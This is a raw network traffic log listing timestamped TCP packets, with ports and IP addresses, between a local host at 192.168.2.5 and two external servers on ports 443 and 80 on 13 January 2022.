Jan 13, 2022 20:51:27.184638977 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.184681892 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.184725046 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.184741020 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.184773922 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.184859991 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.184899092 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.184945107 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.184957027 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.185002089 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.185049057 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.185076952 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.185132980 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.185163975 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.389945984 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.406344891 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.406378031 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.406691074 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.410972118 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.411001921 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.411020994 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.411174059 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.411183119 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.411195993 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.411288977 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.411297083 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.411312103 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.411356926 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.411365986 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.411433935 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.411439896 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.411473036 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.411539078 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.411549091 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.411567926 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.411596060 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.411602974 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.411698103 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.411705971 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.411761999 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.411767960 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.411829948 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.411839962 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.411885977 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.411895037 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.411910057 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.411938906 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.411947012 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.412034035 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.412041903 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.412054062 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.412137985 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.412149906 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.412168980 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.412420988 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.412439108 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.412455082 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.412462950 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.412480116 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.412640095 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.412652969 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.412676096 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.412681103 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.412740946 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.412750959 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.412786007 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.412792921 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.412844896 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.412908077 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.412919044 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.412946939 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.412975073 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.413007975 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.413013935 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.413079023 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.413094997 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.413146019 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.641941071 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.650177956 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.934747934 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.934768915 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.934802055 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.934808016 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:28.713989973 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:28.785130024 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.785268068 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:28.785440922 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:28.856373072 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.856452942 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.856504917 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.856539965 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.856570959 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:28.856578112 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.856617928 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.856626034 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:28.856654882 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.856688976 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.856703043 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:28.856731892 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.856770992 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.856780052 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:28.856812000 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.856862068 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:28.927611113 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.927675962 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.927717924 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.927753925 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:28.927761078 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.927800894 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.927818060 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:28.927844048 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.927886009 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.927897930 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:28.927932978 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.927975893 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.927983999 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:28.928015947 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.928056002 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.928071022 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:28.928097010 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.928136110 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.928148985 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:28.928196907 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.928210974 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.928237915 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.928253889 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:28.928277969 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.928294897 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:28.928318024 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.928359032 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.928371906 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:28.999217033 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.999265909 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.999301910 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:28.999305010 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.999347925 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.999386072 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.999406099 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:28.999416113 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:28.999425888 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.999439001 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:28.999468088 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.999521017 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.999521017 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:28.999574900 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.999613047 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.999624968 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:28.999650955 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.999690056 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.999701977 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:28.999727011 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.999763966 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.999778032 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:28.999802113 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.999836922 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.999854088 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:28.999874115 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.999910116 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.999926090 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:28.999948025 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:28.999984980 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.000000000 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.000021935 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.000061989 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.000082970 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.000108957 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.000144958 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.000159025 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.000180960 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.000216961 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.000231028 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.000253916 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.000292063 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.000303984 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.000325918 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.000361919 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.000380039 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.000403881 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.000437975 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.000452995 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.000479937 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.000516891 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.000530958 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.000554085 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.000591993 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.000603914 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.047178984 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.071562052 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.071650028 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.071711063 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.071721077 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.071767092 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.071816921 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.071824074 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.071876049 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.071944952 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.071947098 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.072016954 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.072083950 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.072093010 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.072138071 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.072184086 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.072194099 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.072252989 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.072319031 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.072325945 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.072367907 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.072413921 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.072421074 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.072465897 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.072508097 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.072521925 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.072571039 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.072612047 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.072623968 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.072654963 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.072700024 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.072731972 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.072746038 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.072788954 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.072808027 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.072834015 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.072877884 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.072890043 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.072921038 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.072966099 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.072967052 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.073021889 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.073092937 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.073120117 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.073138952 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.073184013 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.073189020 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.073230028 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.073272943 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.073275089 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.073318005 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.073365927 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.073367119 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.073410034 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.073451996 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.073462963 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.073497057 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.073546886 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.073592901 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.073605061 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.073620081 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.073640108 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.073679924 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.073723078 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.073745012 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.073765993 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.073807955 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.073832989 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.073874950 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.073929071 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.118187904 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.118241072 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.118308067 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.144743919 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.144809961 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.144841909 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.144866943 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.144895077 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.144917965 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.144920111 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.144949913 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.144969940 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.144993067 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.144999981 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.145031929 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.145056009 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.145066977 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.145081043 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.145096064 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.145112991 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.145143986 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.145148039 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.145169020 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.145195007 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.145199060 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.145224094 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.145251036 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.145263910 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.145278931 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.145307064 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.145308018 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.145334959 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.145344019 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.145364046 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.145365953 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.145400047 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.145428896 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.145431042 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.145462036 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.145478964 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.145488024 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.145519018 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.145546913 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.145550013 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.145579100 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.145596981 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.145602942 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.145634890 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.145662069 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.145663977 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.145695925 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.145719051 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.145719051 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.145750046 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.145782948 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.145787954 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.145809889 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.145834923 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.145834923 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.145915985 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.145921946 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.145926952 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.145951986 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.145987988 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.146013975 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.146037102 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.146038055 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.146068096 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.146081924 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.146094084 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.146172047 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.146178961 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.189439058 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.189487934 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.189589977 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.216806889 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.216830969 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.216852903 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.216877937 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.216881990 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.216900110 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.216922045 CET	80	49841	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:29.216924906 CET	49841	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:29.216944933 CET	80	49841	141.8.194.74	192.168.2.5
